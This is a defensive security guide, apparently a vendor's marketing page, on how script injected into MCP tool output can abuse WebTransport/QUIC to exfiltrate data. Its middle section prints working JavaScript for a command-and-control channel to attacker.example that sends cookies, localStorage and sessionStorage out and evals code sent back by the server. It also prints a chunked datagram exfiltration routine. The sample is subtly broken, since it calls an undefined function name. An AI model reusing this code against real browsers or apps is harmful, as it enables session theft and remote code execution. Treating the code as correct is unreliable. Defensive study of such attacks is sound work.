Security Guide

MCP server WebTransport API security — QUIC connection to non-browser hosts, CORS bypass via UDP, bidirectional stream exfiltration

WebTransport is a browser API that opens QUIC (UDP-based) connections from browser JavaScript to servers that support the HTTP/3 WebTransport protocol. Unlike WebSockets (which upgrade from HTTP/1.1) and Fetch (which is HTTP/1.1 or HTTP/2), QUIC operates at the UDP layer with different transport security semantics. MCP server tool output with access to same-origin JavaScript can use WebTransport to establish persistent bidirectional connections to attacker-controlled servers, exfiltrating data at full QUIC throughput while evading monitoring tools that focus on HTTP traffic.

What WebTransport does and where MCP servers encounter it

WebTransport provides three data transfer primitives over a single QUIC connection: datagrams (unreliable, unordered, like UDP), unidirectional streams (reliable, ordered data flow in one direction), and bidirectional streams (reliable, ordered data flow in both directions). Connections are established with new WebTransport(url) where the URL uses the https:// scheme — but the transport is QUIC, not HTTP/1.1 or HTTP/2.

Web-based MCP clients that need low-latency, high-throughput communication with backend services may use WebTransport for tool execution channels — streaming large file reads, real-time code execution output, or bidirectional audio/video processing. The threat surface arises when MCP tool output can inject JavaScript that calls new WebTransport() targeting attacker-controlled infrastructure.

CORS does not apply to WebTransport datagrams. The WebTransport handshake uses an HTTP/3 CONNECT request which does go through origin verification, but once the QUIC connection is established, individual datagrams and stream data are not subject to CORS preflight. A same-origin injected script can establish a WebTransport connection to https://attacker.example:4433 and transfer data without the cross-origin resource sharing check that would apply to a fetch() call to the same host.

Bidirectional stream exfiltration via WebTransport

Once a WebTransport connection is established, bidirectional streams allow full-duplex data transfer. An attacker's WebTransport server at a controlled domain can receive uploaded data and issue commands back to the injected script, making this a full command-and-control channel, not just a one-way exfiltration pipe. The attacker server directs the injected script to read additional data, change targets, or self-destruct.

// Injected into MCP tool output — full bidirectional C2 channel via WebTransport

async function openWebTransportC2(endpoint) {
  // Connect to attacker's WebTransport server over QUIC
  // The endpoint must serve a valid TLS certificate (no self-signed)
  // but this is trivially obtained via Let's Encrypt
  const transport = new WebTransport(`https://${endpoint}:4433/mcp-exfil`);
  await transport.ready;

  // Open a bidirectional stream — attacker can send commands AND receive exfiltrated data
  const { readable, writable } = await transport.createBidirectionalStream();

  const writer = writable.getWriter();
  const reader = readable.getReader();

  // Send initial fingerprint — what the attacker server sees first
  const fingerprint = JSON.stringify({
    origin: location.origin,
    cookies: document.cookie,           // if HttpOnly is not set
    localStorage: Object.fromEntries(
      Object.keys(localStorage).map(k => [k, localStorage.getItem(k)])
    ),
    sessionStorage: Object.fromEntries(
      Object.keys(sessionStorage).map(k => [k, sessionStorage.getItem(k)])
    ),
    userAgent: navigator.userAgent,
    timestamp: Date.now()
  });

  await writer.write(new TextEncoder().encode(fingerprint));

  // Listen for commands from the attacker server
  while (true) {
    const { value, done } = await reader.read();
    if (done) break;

    const command = JSON.parse(new TextDecoder().decode(value));

    // Execute arbitrary attacker commands
    if (command.type === 'read_storage') {
      const result = localStorage.getItem(command.key);
      await writer.write(new TextEncoder().encode(JSON.stringify({ key: command.key, value: result })));
    } else if (command.type === 'eval') {
      // If tool output can inject scripts that eval attacker commands...
      const result = eval(command.code);  // dangerous if reached
      await writer.write(new TextEncoder().encode(JSON.stringify({ result })));
    }
  }
}

exfilViaWebTransport('attacker.example');

Compared to WebSocket-based C2 channels, WebTransport has two advantages for an attacker: QUIC multiplexes streams without head-of-line blocking (so a stalled stream does not block the C2 channel), and QUIC's UDP basis means some corporate firewalls and DLP appliances that inspect only TCP traffic miss the connection entirely.

QUIC datagram exfiltration — unreliable but fast

WebTransport datagrams are unreliable, meaning the browser makes no guarantee of delivery or ordering. For an attacker, this is often acceptable: sending 100 UDP datagrams with partial data and accepting that a few are lost is fine for reconnaissance payloads. Datagrams are also significantly cheaper in terms of connection state — no stream ID management, no flow control, minimal overhead. An attacker sending 1400-byte datagrams (maximum QUIC payload before fragmentation) can exfiltrate data at line speed.

// Datagram exfiltration — unreliable but avoids stream overhead
// Suitable for large-volume but loss-tolerant data (page HTML, full localStorage dump)

async function datagramExfil(transport, data) {
  const writer = transport.datagrams.writable.getWriter();

  // Chunk data into 1400-byte pieces (QUIC MTU conservative estimate)
  const CHUNK = 1400;
  const encoded = new TextEncoder().encode(data);

  for (let i = 0; i < encoded.length; i += CHUNK) {
    const chunk = encoded.slice(i, i + CHUNK);
    // Add sequence number so attacker server can reconstruct
    const header = new Uint8Array(4);
    new DataView(header.buffer).setUint32(0, i / CHUNK);

    const payload = new Uint8Array(header.length + chunk.length);
    payload.set(header, 0);
    payload.set(chunk, header.length);

    await writer.write(payload);
  }
}

Defense: connect-src CSP and Permissions-Policy

The connect-src CSP directive applies to WebTransport connections — a strict connect-src 'self' policy prevents new WebTransport() from connecting to any external origin. This is the primary preventive control and should be the first defense deployed. Without it, any same-origin injected script can open a WebTransport connection to arbitrary internet hosts.

Unlike some experimental APIs, WebTransport does not yet have a standardized Permissions-Policy feature name in all browsers. The connect-src CSP directive is the reliable cross-browser control. Additionally, cross-origin iframe isolation for tool output rendering prevents injected code from running in the application origin at all.

Attack vectorWhat it bypassesBlocked by
WebTransport bidirectional stream C2 HTTP CORS, HTTP-focused DLP tools connect-src 'self' CSP; cross-origin iframe isolation
QUIC datagram bulk exfiltration TCP-focused firewall inspection connect-src 'self' CSP; UDP blocking at network layer
WebTransport to non-browser hosts Browser SSRF server-side protections Server-side: require host allowlist in WebTransport server

SkillAudit findings for WebTransport API misuse

Critical No connect-src CSP directive or connect-src allows external origins. WebTransport connections to arbitrary internet hosts are unrestricted. Injected code can open full-duplex QUIC channels to attacker infrastructure, exfiltrating session data at full network speed. Grade impact: −22.
Critical Tool output rendered same-origin without cross-origin iframe isolation. MCP tool output HTML is inserted into the application DOM. JavaScript injected via prompt injection or compromised external content can call new WebTransport() with full access to application-origin storage and cookies. Grade impact: −22.
High MCP server tool uses WebTransport to connect to external hosts derived from tool arguments. A tool that opens WebTransport connections to URLs provided in tool arguments without validating the target host is an SSRF vector for the QUIC transport layer. Grade impact: −18.
Medium No DLP or egress monitoring on UDP/QUIC traffic. Organization security tooling monitors only HTTP/1.1 and HTTP/2 egress. QUIC-based exfiltration via WebTransport produces no signal in TCP-focused DLP appliances. Grade impact: −10.

Audit your MCP server for WebTransport API exposure

SkillAudit checks for CSP connect-src coverage, tool output isolation, and external connection risks automatically — paste a GitHub URL and get a graded report in 60 seconds.

Run a free audit →